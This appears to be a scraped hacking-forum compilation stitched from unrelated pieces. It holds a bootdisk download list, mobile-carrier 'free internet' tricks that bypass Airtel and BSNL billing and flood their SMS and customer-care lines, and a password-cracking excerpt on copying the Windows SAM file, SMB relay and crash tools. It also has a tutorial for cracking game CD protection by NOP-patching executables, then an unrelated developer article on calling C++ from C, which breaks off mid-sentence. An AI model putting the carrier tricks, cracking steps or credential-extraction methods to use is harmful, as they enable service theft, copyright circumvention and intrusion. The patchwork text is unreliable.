13-Bootdisk for Windows 2000 Advanced Server
14-Bootdisk for Windows 2000 Professional
15-Bootdisk for Windows 2000 Server
16-Bootdisk for Windows Millenium
17-Bootdisk for Windows Millenium Custom No Ramdrive
18-Bootdisk for Windows NT 4.0 Server
19-Bootdisk for Windows NT 4.0 Terminal Server Edition
20-Bootdisk for Windows NT 4.0 Workstation
21-Bootdisk for Windows XP Custom Install Disk
22-Bootdisk for Windows XP System Setup Disk

http://rapidshare.com/files/42604437/AWOBD_ByMechoDownload.rar

Airtel Hack for free internet

These are all the tricks i know so far

~cheers~

You need a PC or a Laptop and the required connectivity tools ,ie.,
Serial/USB cable OR Infrared Device OR Bluetooth dongle

1) Activate Airtel Live! ( It’s FREE so no probs)

2) Create TWO Airtel gprs data accounts (yep TWO) and select the
FIRST as the active profile.

3) Connect your mobile to the PC (or Laptop) and install the driver for
your mobile’s modem.

4) Create a new dial-up connection using the NEW CONNECTION
WIZARD as follows

Connecting Device : Your mobile’s modem
ISP Name : Airtel (or anything you like)
Phone Number : *99***2# / Try 99***1
Username and Password : blank

5) Configure your browser and download manager to use the proxy
100.1.200.99 and port 8080.( My advice is to use Opera since you
can browse both wap and regular websites)

6) Connect to the dial-up account. You will be connected at 115.2
kbps (but remember, that is a bad joke).

7) Pick up your mobile and try to access any site. You will get “Access
Denied…”(except for Airtel Live!). IT DOES NOT MATTER.
Keep the mobile down.

8 ) On the PC ( or Laptop) open your browser, enter any address ,
press ENTER and…….WAIT

9) After a few seconds the page will start to load and you have the
WHOLE internet at your disposal. ***************************************************************************************************************

TWO

Under DATA COMM
~~~~~~~~~~~~

APN : airtelfun.com

USERNAME : blank

PASSWORD : blank

PASS REQ : OFF

ALLOW CALLS : AUTOMATIC

IPADDRESS :

DNSADDRESS :

DATA COMP : OFF

HEADER COMP : OFF


Under INTERNET PROFILES
~~~~~~~~~~~~~~~~

INTERNET MODE : HTTP or WAP (both worked for me)

USE PROXY : YES

IP ADDRESS : 100.1.200.99

PORT : 8080

USERNAME :

PASSWORD :

No Risk Here, Try it and Enjoy

Three

1st go to settings menu then to connectivity tab now choose the option Data comm. then "DATA ACCOUNTS" go to new account now the settings r as follows
ACCOUNT TYPE:GPRS
NEW ACCOUNT NAME:A1
APN:airtelfun.com
usr name: (blank)
password: (blank)

now save it
NOW!
go to Internet Setting in connectivity here choose intrnet profile--go to new profile setting are as below
NAME:A1
CONNECT USING:A1(which was created in data comm.)
save it
now u would be able to see it now selest it and take "more" option then select setting here in use proxy option it will be selected no if it is no then change it into yes
now go to proxy adress and give the adress as
100.1.200.99 and then the port number as 8080
Usr name:
password:
now save all the settings u made . come back 2 connectivity
choose streaming settings now in connect using option choose a1 that we created leave the use proxy option as no itself
THESE R THE SETTINGS
now access airtellive! from ur activated SE phone goto VIDEO GALLERY OR VIDEO UNLIMITED(varies according to states) choose live streaming then choose CNBC OR AAJTAK WHILE CONNECTING TO MEDIA SERVER cancel AFTER 9 or 10 sec then type any web adress if it shows access denied then once again select CNBC and wait for a few more sec than before if its fully connected also no prob its free then cancel it or if ur connected then stop it and the internet is ready to take of .GOOD LUCK SE AIRTEL USERS

alternate

For All Airtel Users

Requirements:
1. Airtel live (available 4 free)
2. Nokia series60 handset eg 6600,6630,n series,7610,6670 etc
3. Opera wap browser 4 mobile
Procedure:-

1. Go to ur connection settings and make a new internet profile using the default settings of airtel live. name that new profile as nething(for eg masala); change the home page of that profile to nething u like for eg www.google.com.

2. Go to ur Opera browser and set the default connection as AIRTEL LIVE. this is the original settings u received thru airtel.

3. Go to the services(in n6600) and Web(N6630) and change the default profile for connection as masala (newer one).

**Note: always make sure that ur access point is airtelfun.com

Apply:-

1. Open Opera and u will see that homepage of Airtel Live is opened. Minimize the application.

2. Now open web using the duplicate Profile and u will see that two gprs connections will work simultaneously and at the web or the services page it will show "Unable to connect" or any error. well thats the signal of ur success.

3. Simply go on the Opera with web on and open any site u want for free. No Charges No nothing.

U can also use it through ur computer..........

someone said dis too

The main principle behind this is we hav 2 fool the bsnl techies 2 activate portal and thus get gprs activated / get "G" signal on ur cell as bsnl portal (wap.cellone.in) needs "gprs signal on ur cel (whether gprs is formaly activated/registerd or not (by my method )i dont know)

NORMALLY THEY DONT DO THAT INSPITE OF THE FACT THAT THEY SHOULD ACTIVATE GPRS SIGNAL SERVICE FOR PORTAL!!!
AND THEY WILL GIVE U NO OF REASONS----
---THAT portal is message based , so go to cellone icon in menu and use that sms based portal (what the f**k)
---THAT portal service will be activated when u will activate gprs by filling up form and registering at nearest CCN!!
---THAT ur handset has some problems (if u say that "G" signal is not present)
----etc,etc!!

U HAVE 2 ACTIVATE PORTAL FIRST WHICH IS FREE AND U CAN EAT UP CC'S FOR THIS REASON!!
SO WHAT U HAV 2 DO IS--
1) SEND PORTAL to 3733 AND CONFIRMATION SHD COME WITH 5 MIN AT-MAXIMM !!
2) SEND FOR ATLEAST 20-30 TIMES (CAN B ANY MORE THAN THAT)
JUST S**K UP THE NETWORK(3733) WITH THESE MESSAGES !!!
THAT'S FREE NO!! BOTH ON POST AND PRE!!
3) NOW ALONG ALSO SEND 20-40 SMS AS GPRS TO 3733
(NO OF SMS DIRECTLY PROPORTIONAL 2 HATE FOR BSNL AND HOW EARLY U WNAN GET UR GPRS ACTIVATED) this is also free both on post and pre!!
4) U WILL GET CONFIRMATION IN BOTH CASES AND MSG TELLS U 2 GET SETTINGS FROM 9400024365, THE NO OF CC!!
HERE AT MY PLACE I CAN DIAL 9419024365 ALSO!
BOTH R TOLL FREE AND BOTH R LOCATED IN CHANDIGARH!!!
(((((((AND SOME OF THE CC'S SAY they cant give such sensitive information that where they r located, as if thay have a 3 rd world of their own! and the other dumbs said that they r in chandigarh!!!!)))))

I WOULD ADVISE ALL FIRST, 2 call them once 2 get the settings!!
(most of the times that is incorect but gives u an idea of settings in ur area))
Try and in ur 1 st call only,
talk roughly and tell them u r calling 10-20th time just for settings and is that their service!!!
5) Now when u get them save them AND plz post them here!!!
6) now GET ATLEAST 2-3 COMPLAINTS REGISTERED( each after 1 day) THAT UR PORTAL HAS NOT ACTIVATED AND GET THEIR SERIAL NO.
and in the end bombard them abt the status of all those complaints !!
b4 registering ur complaint they will hesitate much and always say taht they will b sendin new settings which r accurate! but dont belive them and just register complaints!!
6)AFTER THAT, u have 2 only wait until "G" signal is there on ur screen!!

LOOK, WHAT I HAVE WRIITEN ABV IS METHOD by which i got activated my "G" service !!! without fillin any form or such and without any money drain!!
may be since it bypasses the formal way of registeration, that is why this trick is working !!!!!!!!!!!!

U may also Try this

first open ur msg window and type LIVE and send it to 2567 so that after 5 min u get the setting of Airtel Live or if u have already no need for this procedure.
now then open that setting and copy all the settings from it and create one access point manually which has all the settings like Airtel Live has.
now only one change will be there and it would be in access point name which is "Airtelmms.com" instead of originally "Airtelgprs.com".
ok u've done it just active that setting and access free airtel gprs on ur phone.






a recent comment says dat

Guys i tried and its working, I'm using airtel chennai,..the Method TWO worked, also i request everyone to change the Phone number from *99***2 to *99***1 and its working,.. it'll get connected at 462.8kbps but its the speed between the phone and your computer but actual BAndwidth is 42kbps

Password-Cracking Techniques

Understanding Password-Cracking Techniques

We get daily tons of requests regarding password cracking,
hereby we present a well researched comprehensive article adressing the same
It may bounce many of ur heads but we are sure a must mug up for Geeks nour regular visitors!!
so Gear Up! Dont give up before having a look on the entire article!




Many hacking attempts start with attempting to crack passwords. Passwords are the key piece
of information needed to access a system. Users, when creating passwords, often select passwords
that are prone to being cracked. Many reuse passwords or choose one that’s simple—such
as a pet’s name—to help them remember it. Because of this human factor, most password cracking
is successful; it can be the launching point for escalating privileges, executing applications,
hiding files, and covering tracks. Passwords may be cracked manually or with automated tools
such as a dictionary or brute-force method, each of which are covered later in this chapter.
Manual password cracking involves attempting to log on with different passwords. The
hacker follows these steps:
1.
Find a valid user account (such as Administrator or Guest).
2.
Create a list of possible passwords.
3.
Rank the passwords from high to low probability.
4.
Key in each password.
5.
Try again until a successful password is found.
A hacker can also create a script file that tries each password in a list. This is still considered
manual cracking, but it’s time consuming and not usually effective.

Boring!! isnt it!! A more efficient way of cracking a password is to gain access to the password file on a system.
Most systems



hash
(one-way encrypt) a password for storage on a system. During the
logon process, the password entered by the user is hashed using the same algorithm and then
compared to the hashed passwords stored in the file. A hacker can attempt to gain access to
the hashing algorithm stored on the server instead of trying to guess or otherwise identify the
password. If the hacker is successful, they can decrypt the passwords stored on the server.
Passwords are stored in the Security Accounts Manager (SAM) file on a
Windows system and in a password shadow file on a Linux system.



Understanding the LanManager Hash
Windows 2000 uses NT Lan Manager (NTLM) hashing to secure passwords in transit on the
network. Depending on the password, NTLM hashing can be weak and easy to break. For
example, let’s say that the password is
123456abcdef
. When this password is encrypted with
the NTLM algorithm, it’s first converted to all uppercase:
123456ABCDEF
. The password is
padded with null (blank) characters to make it 14 characters long:
123456ABCDEF__
. Before
the password is encrypted, the 14-character string is split in half:
123456A and BCDEF__.
Each string is individually encrypted, and the results are concatenated:
123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15
The hash is
6BF11E04AFAB197FF1E9FFDCC75575B15


Hacking Tools
Legion automates the password guessing in NetBIOS sessions. Legion scans multiple
IP address ranges for Windows shares and also offers a manual dictionary attack tool.
NTInfoScan is a security scanner for NT 4.0. This vulnerability scanner produces an HTMLbased
report of security issues found on the target system and other information.
L0phtCrack is a password auditing and recovery package distributed by @stake software,
which is now owned by Symantec. It performs Server Message Block (SMB) packet captures
on the local network segment and captures individual login sessions. L0phtCrack contains
dictionary, brute-force, and hybrid attack capabilities.
John the Ripper is a command-line tool designed to crack both Unix and NT passwords. The
cracked passwords are case insensitive and may not represent the real mixed-case password.
KerbCrack consists of two programs: kerbsniff and kerbcrack. The sniffer listens on the network
and captures Windows 2000/XP Kerberos logins. The cracker can be used to find the
passwords from the capture file using a brute force attack or a dictionary attack.

Cracking Windows 2000 Passwords
The SAM file in Windows contains the usernames and hashed passwords. It’s located in the
Windows\system32\config
directory. The file is locked when the operating system is running
so a hacker can’t attempt to copy the file while the machine is booted to Windows.
One option for copying the SAM file is to boot to an alternate operating system such as
DOS or Linux with a boot CD. Alternately, the file can be copied from the
repair
directory.
If a systems administrator uses the RDISK feature of Windows to back up the system, then a
compressed copy of the SAM file called
SAM._
is created in
C:\windows\repair
. To expand
this file, use the following command at the command prompt:
C:\>expand sam._ sam
After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against
the SAM file using a tool like L0phtCrack.


Redirecting the SMB Logon to the Attacker
Another way to discover passwords on a network is to redirect the Server Message Block
(SMB) logon to an attacker’s computer so that the passwords are sent to the hacker. In order
to do this, the hacker must sniff the NTLM responses from the authentication server and trick
the victim into attempting Windows authentication with the attacker’s computer. A common
technique is to send the victim an e-mail message with an embedded hyperlink to a fraudulent
Hacking Tools
Win32CreateLocalAdminUser is a program that creates a new user with the username and
password
X
and adds the user to the local administrator’s group. This action is part of the
Metasploit Project and can be launched with the Metasploit framework on Windows.
Offline NT Password Resetter is a method of resetting the password to the administrator’s
account when the system isn’t booted to Windows. The most common method is to boot to
a Linux boot CD and then access the NTFS partition, which is no longer protected, and change
the password.
SMB server. When the hyperlink is clicked, the user unwittingly sends their credentials over
the network.


SMB Redirection
Several automated hacking tools can implement SMB redirection:


SMB Relay MITM Attacks and Countermeasures
An SMB relay MITM attack is when the attacker sets up a fraudulent server with a relay
address. When a victim client connects to the fraudulent server, the MITM server intercepts
the call, hashes the password, and passes the connection to the victim server.
Figure 4.1 illustrates an example of such an attack.


Hacking Tools
SMBRelay is an SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle attacks.
SMBRelay2 is similar to SMBRelay but uses NetBIOS names instead of IP addresses to
capture usernames and passwords.
pwdump2 is a program that extracts the password hashes from a SAM file on a Windows system.
The extracted password hashes can then be run through L0phtCrack to break the passwords.
Samdump is another program to extract NTLM hashed passwords from a SAM file.
C2MYAZZ is a spyware program that makes Windows clients send their passwords as clear
text. It displays usernames and their passwords as users attach to server resources.

SMB relay countermeasures include configuring Windows 2000 to use SMB signing, which
causes it to cryptographically sign each block of SMB communications. These settings are
found under Security Policies/Security Options.


NetBIOS DoS Attacks
A NetBIOS Denial of Service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS
Name Service on a target Windows systems and forces the system to place its name in conflict
so that the name can no longer be used. This essentially blocks the client from participating in the
NetBIOS network and creates a network DoS for that system.


Password-Cracking Countermeasures
The strongest passwords possible should be implemented to protect against password cracking.
Systems should enforce 8–12 character alphanumeric passwords. The length of time the same
password should be used is discussed in the next section.
To protect against cracking of the hashing algorithm for passwords stored on the server,
you must take care to physically isolate and protect the server. The systems administrator can
use the SYSKEY utility in Windows to further protect hashes stored on the server hard disk.
The server logs should also be monitored for brute-force attacks on user accounts.
A systems administrator can implement the following security precautions to decrease the
effectiveness of a brute-force password-cracking attempt:
1.
Never leave a default password.
2.
Never use a password that can be found in a dictionary.


Hacking Tools
SMBGrind increases the speed of L0phtCrack sessions on sniffer dumps by removing duplication
and providing a way to target specific users without having to edit the dump files manually.
The SMBDie tool crashes computers running Windows 2000/XP/NT by sending specially
crafted SMB requests.
NBTdeputy can register a NetBIOS computer name on a network and respond to NetBIOS
over TCP/IP (NetBT) name-query requests. It simplifies the use of SMBRelay. The relay can be
referred to by computer name instead of IP address.


Hacking Tools

NBName can disable entire LANs and prevent machines from rejoining them. Nodes on a Net-
BIOS network infected by the tool think that their names are already in use by other machines.
3.
Never use a password related to the host name, domain name, or anything else that can
be found with whois.
4.
Never use a password related to your hobbies, pets, relatives, or date of birth.
5.
Use a word that has more than 21 characters from a dictionary as a password.
This subject is discussed further in the section “Monitoring Event Viewer Logs.”
In the following sections, we’ll look at two measures you can take to strengthen passwords
and prevent password-cracking.



Password Change Interval
Passwords should expire after a certain amount of time so that users are forced to change
their passwords. If the password interval is set too low, then users will forget their current
passwords; as a result, a systems administrator will have to reset users’ passwords frequently.
On the other hand, if passwords are allowed to be used for too long, then security
may be compromised. The recommended password-change interval is every 30 days. In
addition, it’s recommended that users not be allowed to reuse the last three passwords.
You cannot completely block brute-force password attacks if the hacker
switches the proxy server where the source packet is generated. A systems
administrator can only add security features to decrease the likelihood that
brute-force password attacks will be useful.


Monitoring Event Viewer Logs
Administrators should monitor Event Viewer logs to recognize any intrusion attempts either
before they take place or while they’re occurring. Generally, several failed attempts are logged
in the system logs before a successful intrusion or password attack. The security logs are only
as good as the systems administrators who monitor them.
Tools such as VisualLast aid a network administrator in deciphering and analyzing the
security log files. VisualLast provides greater insight into the NT event logs so the administrator
can assess the activity of the network more accurately and efficiently. The program is
designed to allow network administrators to view and report individual users’ logon and
logoff times; these events may be searched according to time frame, which is invaluable to
security analysts who are looking for intrusion details.
The event log located at
c:\\windows\system32\config\Sec.Event.Evt
contains the
trace of an attacker's brute-force attempts

Crack CD Protection

Lemme share how to finish the RiPPing by cracking
the protection. This will help you w/ the most basic system of protection,
called C- dilla, that is the most usual one…

The programs we will use are 2: first, and decompiler – the files we will
work with are in ExE format, and we need a program that will HeX them (transfer
to 16 base, hexa, form) and locate the orders given in the code, then we will
find the line we need and change it to remove the protection with... – the
second program: we need a program that will *edit* the files, and fetch the
right line number we got using the first program… all those action are easly
done w/ the programs: Win32Dasm (the disassembler - decompiler program, added in
the dir [root/Win32Dasm]), and Hiew (the editing program added in the dir
[root/Hiew]). The programs are added to the tutorial, because I’m not so sure
you can find then on a stable location on the net, in the dir [root/programs].
Chapter II: The easy protection.

Okay! To save you from reading this entire tutorial for nothing you’re not going
to use I made this chapter, because there is a good chance you won’t be needing
it! Some games comes w/ protection as a files in the [/Setup] dir (or root
dir) called: [00000001.TMP], [CLCD16.DLL], [CLCD32.DLL] and most important
[CLOKSPL.EXE]... if you see any of them delete it and the protection should
disappear (Important! delete them after making a mirror of the game on your HD,
using the info in the next chapter) … if you are still getting an error message
just keep on reading.

Chapter III: Finding the right file – and the right error.
The files we are going to work w/ will be the main ExE of the game: you will
find it on the CD, in a dir called [/Setup] or [/data], but the easy way to find
it is just installing the game, and the ExE that starts the game – will be the
ExE we need! ... once you’ve got it make some room on your HD, because we are
going to copy the hole CD to it… before you do that: some games have am option,
when Installing, to Install the full game to the CD (but still needing it to
play), use it if possible, The files you need to copy are all the game files,
in some games it is the root dir of the CD, in others it is the [root/data] dir…
the worst case is when the game is inside a CAB file, then you have to use a CAB
extractor (WinZip 8 should do the job), and if it is protected a different
program that can compile CAB format (I’ll try to put it on the tutorial as
well). Once you’ve done all that – press the ExE, and if the game opens close it
and exit the CD, then press again- you will get an error window! … usually the
line goes like: “Error, please enter CD to run game” or “CD error” or “Error
reading CD-ROM” .. what ever error you get – write it down and remember it, we
are about to look for it in the ExE code, and change it!
Chapter IV: Finding the right line number.

Open the first program - Win32Dasm, by unzipping it and clicking on
[/w32dsm89.exe], now we have to load the file we know is the main ExE of the
game, so click on “Disassembler“ in the main menu, then “Open File to
Disassemble...” (Important! Make sure you got 50-100MB free on your HD) before
then pick the file from the clone game dir you made in your HD (Important! make
a backup of the ExE) … after you’ve success fully w8ed while the program
disassembled the file, you will see *a lot * of gibberish… don’t worry! You
don’t have to understand what is says (I don’t, and I’m not so sure ne1 does…
except the programs of course) … (Important! If you can’t read and the font
shows only numbers and bizarre letters, click on “Disassembler” in main menu,
then “Font…” then “select Font” then pick Arial or something in English) … now
you have to find the exact line number out of the 2 million in the file that has
the error message in it, do that by clicking the “String Data references”
button, from the buttons menu (under the main menu) – the second one from the
right (-your right)… now you get a list of all the lines in the ExE that refers
to actions, and you have narrowed the lines from 2 million – to 2 thousand… to
find the error message click the first letter it started w/ (for example, if the
message was “Error reading CD-ROM” click E) then search ‘till you find the
error line you are looking for! … once you’ve found it… it will mark the title,
pick the first line, and it should change color to green (that means the line
can be edited and is important)… to be sure you have taken the right line:

if
there is a line like:
“:0044XBCK EB08 ….. (lots of spaces) …. Jmp 0044EBD8” or:
“:0044XBCK EB08 ….. (lots of spaces) …. Call 0044EBD8” or:
“:0044XBCK EB08 ….. (lots of spaces) …. Push 0044EBD8”


you at the right line, it says the command is a function, effected by the user,
and probably the protection we are looking for (notice the words: Jmp = Jamp,
Call = Call, Push = Push)… now that we got the right line we have to find her
number! That is done by looking at the bottom of the program window and in the
line, that should look similar to this one:

“Line:*** Pg *** of *** Code Data @:0045821 @Offset 00045821h in file:***.exe“
notic the number that comes after the word „Offet“ in this line: 00045821h that
is the line number! But notice the letter „h“ at the end of it – you don’t need
it, and don’t forget to remove it from the number, now – the only thing left to
do is changing the line and removing the protection!
Chapter V: Editing the line.

After writing down the line number you can minimize Win32Dasm, because for now
we have finished using it. Open the second program: Hiew (added in the
tutorial), this is an editor that will work bad for searching the right line,
but will do if you know the line number and just wanna change it…
Open again the same game ExE you have processed in Win32Dasm. When you enter you
see a lot of gibberish, that’s the code, and you need to change it to the
decoded language… do that by pressing the F4 key and then pick the option
“Decode“ .. heh! Alot better now... now click F5 key, to search the right line,
you will see the line numbers at the left end of the screen is gray, enter the
line number you got from Win32Dasm and it will jump you to the right loction in
the file... now, this is the difficult part, not hard to do – but hard to
explain, near the line number (just at the right) you will see the command in
HeX form, it should be something like BC1BB3D2D1 that is in HeX code (base 16)
which means a number (=byte) is represented by 2 letters/number, so that the
group (BC1BB3D2D1) is made of 5 bytes: BC – 1B – B3 – D2 – D1 ... (10 numbers =
5 bytes, 8 numbers = 4 bytes and so on...), we are about to change evrey byte
from D1 or BC to 90 this is done by pressing the key F3 (activates Editing
option) and pressing, for every byte, the number 90 (90 is the noop number, that
will disable the action)... and in our case, the command will change from
BC1BB3D2D1 to 9090909090 ... once it is done click the key F10 to save the
offset, and exit.

Chapter VI: Testing.
Now that you have an ExE w/out the error line, activate it from the same clone
dir of the game you made to test it, if its working – congratulation! You have
just cracked a CD protection! … if you are getting another error message redo
the same steps you have do w/ the first error message (in chapters 3-5) to
change it as well (Important! Do it on the same ExE you have edited, and backup
this one as well) and then test it again. You might be needed to do it several
number of times, until you are getting no error message and the game runs!


Chapter VII: Quick order list.
- Start without Cd then look at the error message and write it down.
- Search the msg in Win32Dasm referance and copy nmber w/out the H at the end!.
- Open Hiew, F4 to Decode, F5 to seach the line, and change the command – 90 for
every 1 byte.
- F10 to save and then get out, don’t forget to test!

Hacking C++ From C

For a long time, LiveDictionary used deeply unwholesome methods to do its work. Version 1.2.5, just released, now uses nothing but public methods. This means vastly improved stability, but it also means that LiveDictionary's evil WebKit text grabber, once considered the app's crown jewels, is no longer useful. I'm going to use it as an object lesson on how to do evil things with C++ applications from pure C.

Motivation
This code was initially developed over the course of about one week, and then took approximately two months of debugging before it became stable. Since then Apple has broken it several times with Safari updates, with the changes required being anything from a simple change of offsets to a large re-engineering of the function.
The prototype of the function is thus: void LiveDict_1_3_WebViewGetTextAtPoint(id webHTMLView, NSPoint point, NSString **text, int *offset) Given an instance of a WebHTMLView (the thing inside a WebView that does all the work) and a point, the function is to return the text at that point, and the offset into that text which represents where that point is located inside it. This is then used to look up the appropriate word in LiveDictionary. (The 1_3 thing is a version numbering scheme so it doesn't conflict with nearly identical functions made for other versions of Safari.)
You would think that this would be easy, but at the time I originally wrote this function, there was no public way to obtain this information. Obviously there is some way to do it, since WebKit itself does it, for example when you drag to select some text. So I dove into WebCore to see how it was done.
]
After much digging, I found the KHTMLPart class which has a method called isPointInsideSelection that does basically the same thing. I ripped out the bits I didn't need and came up with the following C++ code:

id bridge = [webHTMLView _bridge];
KWQKHTMLPart *part = [bridge part];
DocumentImpl *impl = part->xmlDocImpl();
khtml::RenderObject *r = impl->renderer();
khtml::RenderObject::NodeInfo nodeInfo(true, true);
r->layer()->hitTest(nodeInfo, (int)location.x, (int)location.y);
NodeImpl *nodeImpl = nodeInfo.innerNonSharedNode();
if(!nodeImpl || !nodeImpl->renderer() || !nodeImpl->renderer()->isText())
return;
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos);

Not too bad, right? Most of the code is just drilling down to the object I need to interrogate, and then asking it. (There's a little bit at the end to get the actual text of the node that I left off.)
But... I can't just write that code. All of these classes are private and buried in WebCore so I can't link against them. I can't just copy the headers because that still requires linking against them. So I decided to replicate the entire thing in C.
The only thing is, it's a bit complicated to do from C. The entire file, which contains nothing but the above function, its support functions, and comments, is 340 lines long. Over 10kB of source code just to replicate that straightforward C++. I'm going to show you exactly how it's done.

Virtual Reality
As you probably know, C++ has two types of methods (C++-ites like to call them "member functions", but that's not the sort of foolishness you'll see me spouting), virtual methods and the regular kind. Virtual methods are like the methods in other OO languages, in that the implementation is looked up at runtime. The regular kind is this weird abomination where the implementation is looked up entirely at compile time based on the declared type of the object. Since these two types of methods act so differently, we have to invoke them differently when we're hacking from C.


Static Hiss
Regular C++ methods are pretty easy to call from C, as long as you can get a pointer to them. They're actually just regular C functions with funny names and a single implicit parameter (this). So, for example, the xmlDocImpl method is non-virtual. Declared as a function pointer, it looks like: void * (*KHTMLPart_xmlDocImplP)(void *); You'll see a lot of void * in this article. This is because I completely don't care about types; if I'm slinging pointers around, I'll just use void * for convenience. So here we see that it returns a pointer, and takes a single parameter, the implicit this pointer. If I've assigned the function pointer to the right value, then I can perform the equivalent call from C as:

void *xmlDocImpl = KHTMLPart_xmlDocImplP(part);

The only remaining piece is to get the right pointer. Here, I use the APEFindSymbol function from Unsanity's APELite. (Note that this function requires having the mach_header of WebCore; getting this is left as an exercise for the reader.) All you have to know is the symbol name, which is easy to find by just dumping the symbols in WebCore using nm and looking for one that seems to fit. The code is:

KHTMLPart_xmlDocImplP = APEFindSymbol(header, "__ZNK9KHTMLPart10xmlDocImplEv");

And that's all there is to it. The C++ code contains two other references to non-virtual methods, the renderer method, and the hitTest method. They are used similarly.

Static Interference
Unlike certain other dynamic languages, C++ allows for stack-allocated objects. The NodeInfo instance is an example of this. Creating a stack object translates to C fairly directly. First you need to allocate space, which is done by creating a struct with the right memory layout. Then you need to construct the object by calling its constructor. However, in this case, I noticed that the constructor does nothing but set everything to zero. I don't know exactly what is in a NodeInfo but I know that it's five pointers. So my NodeInfo declaration in C looks like this:


struct NodeInfoStruct {
void *dummy1, *dummy2, *dummy3, *dummy4, *dummy5;
} nodeInfo = {0};


Of course if WebCore's NodeInfo definition ever changes significantly I'll be in a world of hurt. Oddly enough this never happened, though....

Inline Fun
C++ also likes inline methods that are declared in the header. I, however, hate them because they don't actually get a symbol in the built library. This means that their implementation is something I can't invoke. However, I can see what they do and copy them. The renderer method is one of these. All it does is return an instance variable of the object. So I just figured out the offset of that instance variable and ripped it out. It turns out that it's 22 pointer-sizes into the object, so my replacement function is just:


static void *Function_DocumentImpl_renderer(void *obj)
{
void **objLayoutPtr = obj;
return objLayoutPtr[22];
}

Ugly but effective. Again, if the internal layout of the object ever changes then I'm screwed, but this never happened.


Virtually Impossible
Unfortunately calling virtual methods is ever so slightly harder. I'll cover the theory first, then get into how to call them.
A C++ object that contains virtual methods has as its first four bytes a pointer to its class's vtable. A vtable is a big array of function pointers which exists on a per-class basis. Each virtual method is assigned an index in this table. A virtual method is invoked by indexing into the vtable, getting the function pointer, and then calling it.
Once you have a pointer to it, a virtual method works just like a non-virtual method, in that it looks like a C function with an extra parameter stuck on the front. So a function that does all this work to invoke the correct implementation looks like this:


static void *RenderObject_layer(void *obj)
{
const int layerVtableOffset = 7;
typedef void *(*LayerFptr)(void *);
LayerFptr **fakeObj = obj;
LayerFptr fptr = fakeObj[0][layerVtableOffset];
return fptr(obj);
}

There is a constant for the vtable offset, and a typedef for the function pointer that will be invoked. Next I treat the object as if it were just a vtable, since I don't care about the other parts of it. Then I just index into the object to get the vtable, index into the vtable to get the function pointer, and finally invoke it.


Debugger? What's That?
Now if you've been paying close attention, right about now you're thinking, "Where did he get that 7 from?" And a very good question that is!
The answer is basically trial and error. From looking at the headers you can count the virtual methods and make a guess, but this is unreliable. Virtual methods get laid out in the order that the compiler encounters them, so you can just count them off starting from the very first method in the highest superclass, working your way down, and find the offset.
The trouble with that approach is two-fold. First, people suck at counting, especially when you're counting stuff in mountains of evil C++. Second, if you get it wrong, you'll crash in horrible and weird ways. You'll be invoking a completely different function which probably takes completely different arguments and returns a completely different values. Debugging that error will not be fun; this is already difficult enough as it is, without adding another layer of undebuggability. So ideally we'd want to come up with a guess, and then check it. We can use our friend the debugger to tell us what the offset is.
I set a breakpoint in a location where I had a pointer to the object I wanted to investigate. In this case it's obj, which is a RenderObject (or an instance of a subclass). I'll find the offset of the layer function that I used in the previous example.

(gdb) p obj
$1 = (void *) 0x55127c0 Here we can see the object as a plain old void *. We'll have to do some creative casting to dig into it. (gdb) p *(void **)obj
$2 = (void *) 0xa5ca0e38 There's the vtable. (gdb) p **(void ***)obj
$3 = (void *) 0x95e5deb0 And that's the first entry in the vtable. But it's just another address, not very informative. (gdb) p /a 0x95e5deb0
$5 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Ah hah! If we tell gdb to format it as an address (the /a thing) then it looks up the symbol. And so now we know that the function at offset 0 is "_ZN5khtml12RenderCanvasD1Ev". That's probably a constructor or something of that nature. (gdb) p /a (*(void ***)obj)[0]
$6 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Here's a nicer way to look into the vtable. Instead of chasing pointers and manually printing addresses, I'll grab the vtable and then treat it like an array. I don't want to manually print off vtable entries until I find the right one, so I'm going to see if I can get gdb to print a bunch of them for me.


(gdb) set $i = 0
(gdb) p /a (*(void ***)obj)[$i]
$7 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Better, it will print the entry at the index in $i. Now I just need a loop. (gdb) while $i < 10
>print $i
>p /a (*(void ***)obj)[$i]
>set $i = $i + 1
>end
$29 = 0
$30 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
$31 = 1
$32 = 0x95d5e130 <_zn5khtml12rendercanvasd0ev>
$33 = 2
$34 = 0x95cef53c <_zn5khtml12renderobject9setpixmaperk7qpixmaprk5qrectpns_11cachedimagee>
$35 = 3
$36 = 0x95e31ea8 <_zn5khtml18cachedobjectclient13setstylesheeterkn3dom9domstringes4_>
$37 = 4
$38 = 0x95cef538 <_zn5khtml18cachedobjectclient14notifyfinishedepns_12cachedobjecte>
$39 = 5
$40 = 0x95f1e24c <_znk5khtml15rendercontainer10firstchildev>
$41 = 6
$42 = 0x95f1e254 <_znk5khtml15rendercontainer9lastchildev>
$43 = 7
$44 = 0x95f1dd80 <_znk5khtml9renderbox5layerev>
$45 = 8
$46 = 0x95f1d7a0 <_zn5khtml12renderobject19positionchildlayersev>
$47 = 9
$48 = 0x95c9d7b8 <_zn5khtml12renderobject13requireslayerev>

The number 10 was arbitrary, somewhat informed by my guessing from reading the headers. You can keep going higher if you don't find it. But in this case we hit the jackpot; we see a function called layer at offset 7. And that is the story of the 7 in the vtable example above.

Insects and Other Horrors
This isn't exactly a technique to use, but it's a cautionary tale. One of the C++ lines reads:

Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos); This gets translated into C as: struct DOMPosition position = RenderObject_positionForCoordinatesP(parentRenderer, absXPos /*- renderXPos*/, absYPos /*- renderYPos*/); The original definition of struct DOMPosition was: struct DOMPosition {
void *m_node;
long m_offset;
};

This worked fine for a long time, but this past winter it came time to make a Universal binary of LiveDictionary. I groveled through the source code, checked it over with a fine-toothed comb, made sure all of my endians were swapped, and then sent off a build to somebody with an actual Intel Mac. And of course, it crashed almost instantly. And as I'm sure you've guessed, it crashed on that very line.
I spent a while not finding very much, just verifying that the PPC and Intel versions were doing the same thing. This line was suspicious because it's the only hacked C++ method that returns a struct.
On PPC, struct returns are done by using an implicit parameter and returning by reference. If you write this:

struct Point p = Function(x);
It gets translated internally to something like this:
struct Point p;
Function(&p, x);
